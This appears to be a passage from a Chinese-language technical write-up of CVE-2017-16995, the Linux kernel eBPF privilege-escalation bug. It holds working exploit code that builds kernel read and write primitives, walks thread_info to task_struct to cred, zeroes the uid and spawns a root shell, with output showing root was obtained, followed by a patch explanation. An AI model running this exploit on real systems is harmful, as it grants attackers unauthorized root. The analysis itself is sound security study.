然后是任意地址写，条件是map[0] != 0，然后将map[2]的值写入map[1]所在的地址中。1
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6//map[0] != 0,write map[2] to map[1]
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
还可以泄露rbp栈指针，条件是map[0] == 1，读取map[2]的值，就是rbp。1
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8//map[0] = 1,get rbp from map[2]
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
将rbp泄露后，由于Linux将内核态的进程堆栈和线程描述符thread_info这两个部分紧凑的存放在一个单独的区域，这块区域通常为两个页框，thread_info存放在这个内存区的开始，由rbp & ~(0x4000 - 1)获取thread_info的首地址，读取前8个字节即task_struct的地址。1
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10//https://elixir.bootlin.com/linux/v4.4.110/source/arch/x86/include/asm/thread_info.h#L55
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};
通过这张图可以清晰的看出内核栈与thread_info，task_struct的关系，图来自于《深入理解Linux内核》
然后通过cred的偏移获取cred结构体地址，根据uid偏移获取uid的地址，最后将其修改为0进行提权，然后get shell:1
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43sp = get_sp(fp);
if(sp < PHYS_OFFSET){
puts("bogus sp");
exit(0);
}
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET){
puts("bogus task ptr");
exit(0);
}
printf("[+]task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET){
puts("bogus cred ptr");
exit(0);
}
printf("[+]credptr = %lx\n", credptr);
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET){
puts("bogus uid ptr");
exit(0);
}
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("id");
system("/bin/sh");
exit(0);
}
else{
puts("[-]exploit failed");
exit(0);
}
最后exp执行效果：1
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12/ $ id
uid=1000(pwn) gid=1000 groups=1000
/ $ ./exp
[+]mapfd finished
[+]bpf_prog_load finished
[+]socketpair finished
[+]setsockopt finished
[+]task_struct = 0xffff88000dbc5300
[+]credptr = 0xffff88000d58d780
uidptr = 0xffff88000d58d784
spawning root shell
uid=0(root) gid=0 euid=1000(pwn) egid=1000 groups=1000
修复
漏洞影响版本是Linux Kernel Version 4.14-4.4 （主要影响Debian和Ubuntu发行版），在补丁中，在模拟执行的check_alu_op函数中，对于BPF_ALU64|BPF_MOV|BPF_K类型的指令操作数，将32位的立即数符号扩展为64位；对于BPF_ALU|BPF_MOV|BPF_K类型的指令操作数，0扩展至64位，与真正执行时保持一致。
参考
[exp] http://cyseclabs.com/exploits/upstream44.c
[exp] http://p4nda.top/2019/01/18/CVE-2017-16995/
[eBPF] https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html
https://xz.aliyun.com/t/2212
http://p4nda.top/2019/01/18/CVE-2017-16995/
https://cert.360.cn/report/detail?id=ff28fc8d8cb2b72148c9237612933c11